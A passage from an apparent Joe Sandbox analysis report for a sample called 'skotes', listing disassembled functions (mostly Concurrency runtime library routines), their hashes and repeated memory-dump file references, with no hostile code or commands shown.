Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: abfe134c7039e21475a2afae47b998fc010e1a32978226384a9e2badc4bf0c53
Instruction ID: a992516760715e0833c3a29410d5b304796f5d876c71769882b4c817d7a9ae5d
Opcode Fuzzy Hash: abfe134c7039e21475a2afae47b998fc010e1a32978226384a9e2badc4bf0c53
Instruction Fuzzy Hash: 9EB17DB0A00615EFCB18CF59D9A0B7EB7B5FB48300F14816FE905AB751D778A981CB98

Function 004D1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004D2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 004D2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 004D1614

Part of subcall function 004D2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 004D2E39
Part of subcall function 004D2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 004D2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 004D1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 004D17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 004D17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 004D17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 004D180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 004D181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 004D1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 004D183B

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 33fed58b412570f189578895b6ad33267678931251f67ea55b378f62e4ebbc39
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 17814C71A00225AFCB18DF69C5A0A6EB7F1BF48304B1545AFE845A7721C774ED52CB88

Function 004DEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 004DEC81

Part of subcall function 004D8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 004D8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 004DECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 004DECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 004DED0C

Part of subcall function 004DE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 004DE7D7
Part of subcall function 004DE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 004DE86F
Part of subcall function 004DE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 004DE879
Part of subcall function 004DE7AF: Concurrency::location::_Assign.LIBCMT ref: 004DE8AD
Part of subcall function 004DE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 004DE8B5

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 4c0d1f12f7a047a00e270b15c7f4e3050dd3ed5f007d1f29f3ac20c409c99a7b
Instruction ID: 8aec660e116b68342ec44881758916a8f7eb0b350635109078f44ce1f2963ace
Opcode Fuzzy Hash: 4c0d1f12f7a047a00e270b15c7f4e3050dd3ed5f007d1f29f3ac20c409c99a7b
Instruction Fuzzy Hash: E551A135A002069BCF14EF52C8A5FAEB776AF44314F14406FE9066B392CB78AE05DB95

Function 004CCB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 004CCBAA

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: fa79ff85360b142e4fc93f2a0f0f8da3bd8e4a2d6832e88ae1f19a37fa12b199
Instruction ID: a6874916e6e37ec8441a9f2006a9397e41f2ba6a8bea6135050e8d5a7dba6c10
Opcode Fuzzy Hash: fa79ff85360b142e4fc93f2a0f0f8da3bd8e4a2d6832e88ae1f19a37fa12b199
Instruction Fuzzy Hash: F6B09236E1383087CA916B94BC48A9E77149A90E2130A516AD801A7264DA242D866BD8

Function 004CDD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 389af090415fd5872cf116956ed679bee04a2a0ef40344653470de1682ae78f8
Instruction ID: ccfa97909195387e472978e3d7f3ec6a8da8fef47e8c9275a7971a015d1a2cf2
Opcode Fuzzy Hash: 389af090415fd5872cf116956ed679bee04a2a0ef40344653470de1682ae78f8
Instruction Fuzzy Hash: E15158B2E01606CBDB55CF58D8C5BAABBA1FB68304F24856ED409EB350E378A944CF54

Function 004CF028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 004CF2BB

Strings

pEvents, xrefs: 004CF2B3

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
